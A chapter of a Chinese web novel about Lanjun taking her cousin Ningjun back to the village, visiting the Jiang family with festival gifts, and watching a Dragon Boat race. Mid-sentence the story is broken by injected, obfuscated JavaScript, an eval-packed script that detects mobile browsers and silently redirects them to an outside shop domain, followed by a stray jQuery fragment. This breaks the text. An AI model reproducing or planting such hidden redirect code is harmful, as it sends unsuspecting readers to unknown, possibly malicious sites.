“回村?”
二伯夫妇都愣了一下,堂嫂也有点困惑的样子。
“是,我想带着宁君回秀水村,住一段时间。”兰君说道,“您二位不愿意放她回江家,可她是已经出嫁的女儿,一直在家待着,外面的闲言碎语只会越来越多,她自己也会深受其扰。”
二伯没吭声。
“我想带着她回去,让她静静心,想想以后的路该怎么走,她自己也同意了。”兰君继续说,“她现在吃不下饭睡不好觉,也不想看着您二位为她烦忧,我带着她回了村,她也能清净清净,至于江家那边的事,您二位好好想想,再商量商量吧。”
二伯娘叹了口气:“要回就回吧,回了更好,她走了,这边也没人议论了。”
“让她走也行,让她收拾收拾东西,你俩夜里再走。”二伯脸色难看,“家里已经够乱套的了,别再惹出什么风言风语了。”
“二伯放心,我知道轻重。”兰君说道,“宁君走的话,江家那边,您派个人知会一声吧。”
二伯冷哼了一声:“知会什么?本来就是他们理亏,你和宁君收拾收拾东西吧,天黑了再走。”
兰君点点头。
“父亲母亲,马上就是端午了,今天运河上就有龙舟赛了,听说要比到端午当天,官府的人一早就过去了。”堂嫂开了口,“平君说下午开始比赛,我想带着两位妹妹出去散散心,兰君应该没看过龙舟赛吧?咱们一起去热闹热闹。”
二伯一脸不快,什么也没说,转身回屋了。
“公爹是彻底恼了我了。”堂嫂讪笑了一下,“江家那边还是应该说一声,不管家里怎么想,面子上的事不能让人家挑出毛病。”
“堂嫂,那我去吧。”兰君说道,“但是我不知道在哪儿,你把地址告诉我吧。”
“让侍棋跟你去吧。”堂嫂让侍棋出去叫车夫套车,“你一个小姑娘去,让江家人看着好像咱们轻慢人家,现在就去吧,吃完午饭咱们就出门,我看你最近心情也不太好的样子。”
“谢谢堂嫂,其实我还真没看过龙舟赛呢。”兰君笑了一下,“那我去了。”
兰君和侍棋上了马车,走到闹市区,听到外面的叫卖声。
她撩起帘子,看到外面有不少小贩,他们在卖各式各样端午的吃食和节礼。
“堂姑娘,把帘子放下吧。”侍棋开口道,“您是在室女,这样不太好。”
“侍棋,你带钱了吗?”兰君放下帘子,回头问了一句,“咱们去江家,空着手去不合适,我的钱袋还在宁君的卧房里呢。”
侍棋掏出钱袋:“我家姑娘刚给我钱了,您在这儿等我一会,我下去买。”
她叫停车夫,一个人下了车,不一会就提着东西回来了。
兰君一看,侍棋买回来了一提粽子,装在分格食盒里,看起来还挺精致的。
除了粽子,她还买了三包酥饼,看起来金黄酥脆,上面还印着图案。
她拿起一包酥饼,看了半天。
“这是五毒饼。”侍棋解释道,“上面印着的是蝎子、蛇、蜈蚣、壁虎、蟾蜍,这家糕饼铺的五毒饼做得最好,端午前后才能买到,我买的是枣泥和豆沙馅的,咱们拿粽子和一包饼去送人,剩下的咱们自家人吃,您也尝尝。”
兰君闻了闻,还挺香的,侍棋让她先尝一个,她摇了摇头。
马上要去会客了,吃得一嘴碎渣也不好,她把五毒饼放好,打算回家跟堂嫂和宁君一起吃。
她摸了摸口袋,长命缕还有几条,正好给江家人。
进了江家的前堂,侍棋安静地站在兰君身后。
兰君瞧着,感觉江家的氛围也挺压抑的,比二伯家好不到哪儿去。
不多时,出来了一个姑娘,上次撒帐的时候见过的,是姐夫的堂妹。
“沈姑娘好。”姑娘开口道,“我姐姐去叫大伯和堂哥了,您坐这儿喝口茶,先等一会吧。”
兰君道了声谢,姑娘坐在她对面,她把长命缕给了她,说给她们姐妹俩戴。
那姑娘还挺开心的,她俩有一搭没一搭地聊起来了。
刚喝了两口,宁君的公爹和夫君就过来了。
兰君起身:“见过江叔父,见过姐夫。”
江老爷子看起来有点颓废,他眯着眼仔细看了看:“你是……”
侍棋开口道:“这是我们沈家的五姑娘,刚好过来串门来了。”
“是我不好,忘了介绍自己,上次婚宴的时候我也过来了,可能人太多,您对我没印象。”兰君笑着把东西递过去,“没什么事,就是过来给您二位送点节礼。”
“宁君呢?”姐夫刚坐下就站起来了,语气有点急切,“是岳父岳母还不让她回来吗?”
江老爷子拽了拽他的袖子,让他坐下说话。
“姐夫,你别着急。”兰君说道,“我二伯还是不太愿意让她回来,家里人闹得也不愉快,我打算先带着宁君回秀水村,省着她夹在爹娘和夫家之间,两头为难。”
“那她什么时候回来?”姐夫又着急了,“她是不是真的听了岳父岳母的话,要和我和离?”
“坐下!”江老爷子发了话,“五姑娘,你接着说。”
“家里就是因为这事闹得不太愉快,二伯不让她回来。”兰君说道,“再这么闹下去,这事越闹越大,对谁都不好,我带宁君姐走,也是权宜之计,这事先别逼这么紧,大家都喘口气。”
姐夫和江老爷子都没接话。
“姐夫,江叔父。”兰君又开了口,“我二伯家同意我带宁君走了,也同意再和您二位商量一下这件事,我带她走,不是说不回来了,也不是说把她关起来,只是让她在我家住一段,先缓一缓,自己好好想一想。”
姐夫还想开口,江老爷子按住他了。
“五姑娘。”江老爷子说,“这事我们同意了,你先带宁君回去吧,这事是我们江家理亏,我们没什么说的,宁君是个好孩子,是我们江家对不起她,你在这儿等我一会,我先回去一趟。”
兰君点点头,他很快就回来了,手里还拿着个钱袋子。
“这钱你拿着。”江老爷子说道,“这里面是两贯钱,宁君回村,在你家里不能白吃白喝,她也得有个花用,一贯给你,一贯给她。”
兰君正打算推辞,他又开了口。
“你拿着吧。”他说道,“别推辞了,我年纪大了,这事对我们家打击不小,我也没心思推来让去了。”
兰君只好接过,姐夫又开了口。
“五妹,请你帮我转告岳父岳母和宁君。”他说,“我会给沈家和宁君一个交代,即使去不了文绣院,我也不会让她跟着我吃苦受罪,希望沈家能再给我点时间,也给我一个机会。”
兰君点点头:“我记住了,姐夫放心,那不打扰你们了,我们先回去了。”
上了马车,兰君掂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861162|212002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了掂江家给的钱袋,又陷入了沉思。
侍棋坐在对面,问了她一句:“堂姑娘,您是还在想刚才的事吗?”
“我觉得江家人不像是泼皮无赖。”兰君想了想,“虽然承诺这个东西,没兑现的时候没有任何意义,但我还是被姐夫的话打动了,我觉得他很诚恳,只是不知道二伯愿不愿意再给他个机会了。”
“老爷本来就不想宁君小姐和离,有了这句话,老爷和太太应该也会好好想一想吧。”侍棋说道,“毕竟他也可以什么都不承诺,有个态度总比没有强,咱们先等等吧,他要真能拿出个交代,估计不会让咱们等太久的。”
兰君点点头,看了看窗外。
快到家了,也不知道二伯夫妇对他的承诺会作何态度。
到了家,刚好赶上午饭。
兰君刚坐下,二伯就开了口:“江家人怎么说的?”
她原样重复了一遍,还把钱袋掏出来了。
“这是江老爷子给宁君的。”兰君说道,“两贯钱,说是宁君在村里得有个花用,不能没钱傍身。”
二伯没吭声,倒是宁君姐眼圈有点红了。
二伯娘叹了口气,二伯瞥了她一眼:“你叹什么气?”
“我不能叹气吗?”二伯娘没好气地呛回去,“赶紧吃吧,别说话了。”
二伯瞪了她一眼,没再说话。
兰君松了口气,幸好没再吵起来。
吃过午饭,姐妹俩回了卧房,宁君已经把行李都打包好了,兰君把钱袋给她,让她收好。
宁君背过身去,抹了抹眼泪,兰君不知道该怎么安慰,索性装作没看见。
“你的行李收拾好了吗?”宁君吸了下鼻子,“晚上咱们就走了。”
兰君笑了一下:“你忘了,我本来也没带行李呀,把长命缕和香包戴好了,开心点。”
宁君点点头,刚好堂嫂过来叫了,三个人坐上马车,往城北的方向去了。
兰君坐在马车里,远远看见了那条运河,这条河看起来比村东的秀水河宽了两倍,两岸的石堤上扎满了彩旗,靠近河岸的地方还停了一座画舫。
河面上有几条漆得红红绿绿的龙舟,划桨的少年们打着赤膊喊着号子,看起来好像是在热身。
岸边站满了围观的百姓,感觉比闹市还嘈杂,下了马车都没地儿下脚。
“人这么多啊,不是说今天第一天比赛吗?”兰君很惊讶,“运河边那个彩棚里坐的那些人是谁啊?”
“你仔细看看。”堂嫂指过去,“看那是谁?”
兰君仔细一看:“平君哥?旁边那个是县太爷吗?”
堂嫂笑着点头。
宁君情绪好多了,她凑过到兰君耳边说:“龙舟赛是县里的一大特色,每年这个时候县里的官老爷们都会过来观赛,不算是强制,但基本在县衙里有头有脸的都会来,与民同乐嘛。”
兰君挽起她的手,三个人手牵着手在人群里穿梭。
侍书和侍棋在前面开路,但人实在是太多了,兰君的鞋险些被人踩掉。
“小五!”
“沈小五,回头呀!”
宁君扒拉了一下兰君:“那人是不是在喊你啊?”
兰君一回头,运河对面的酒楼露台上,一位男子正靠在栏杆上和她招手,旁边还坐着个少年,正在啃鸡腿。
兰君有点惊讶。
“哎,你怎么过来了?”